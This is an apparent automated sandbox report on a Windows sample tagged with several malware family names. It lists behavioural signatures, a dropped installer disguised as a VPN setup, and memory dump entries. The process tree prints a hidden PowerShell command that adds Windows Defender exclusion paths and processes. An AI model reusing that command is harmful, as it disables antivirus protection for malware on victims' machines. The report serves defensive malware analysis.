Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 10:15

General

  • Target
    2026-07-18_da8657841fe3ba9666dc27b01057221c_akira_cobalt-strike_glassworm_icedid_luca-stealer_njrat_rusty-stealer_satacom.exe
  • Size 7.2MB
  • Sample260718-mapfesfz7k
  • SHA256 ae7473fbde213c54fe4401c3b9e9e9e4c90eaffca0d2f2b378acbb5138de8f63
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-18_da8657841fe3ba9666dc27b01057221c_akira_cobalt-strike_glassworm_icedid_luca-stealer_njrat_rusty-stealer_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-18_da8657841fe3ba9666dc27b01057221c_akira_cobalt-strike_glassworm_icedid_luca-stealer_njrat_rusty-stealer_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:692
    • C:\Windows\system32\msiexec.exe
      "msiexec" /i C:\Users\Admin\AppData\Local\Temp\fckblock-vpn-setup.msi
      2⤵
      • Event Triggered Execution: Installer Packages
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -WindowStyle Hidden -Command " $ErrorActionPreference = 'SilentlyContinue'; $paths = @( 'C:\Program Files\FCKBLOCK-VPN', 'C:\ProgramData\FCKBLOCK' ); $procs = @( 'FCKBLOCK-VPN-svc.exe', 'FCKBLOCK-VPN.exe', 'FCKBLOCK-VPN-installer-gui.exe', 'FCKBLOCK-VPN-setup.exe' ); foreach ($p in $paths) { Add-MpPreference -ExclusionPath $p }; foreach ($pr in $procs) { Add-MpPreference -ExclusionProcess $pr }; "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4216

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        fckblock-vpn-setup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\fckblock-vpn-setup.msi
        • Size 6.9MB
        • SHA256 e0295fb1059199c9ad14ed5460ba17a0be09bab7cf34a20c894fdb6762ec473d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4216-6-0x00007FF8489FF000-0x00007FF848A00000-memory.dmp

        memory/4216-10-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-9-0x0000028AA76F0000-0x0000028AA7712000-memory.dmp

        memory/4216-11-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-12-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-13-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-14-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-15-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-18-0x0000028AA77C0000-0x0000028AA77DE000-memory.dmp

        memory/4216-19-0x0000028AA77E0000-0x0000028AA7892000-memory.dmp

        memory/4216-20-0x0000028AA77A0000-0x0000028AA77AA000-memory.dmp

        memory/4216-21-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-22-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-23-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-24-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-25-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-26-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-27-0x00007FF848870000-0x00007FF849214000-memory.dmp

        memory/4216-29-0x00007FF848870000-0x00007FF849214000-memory.dmp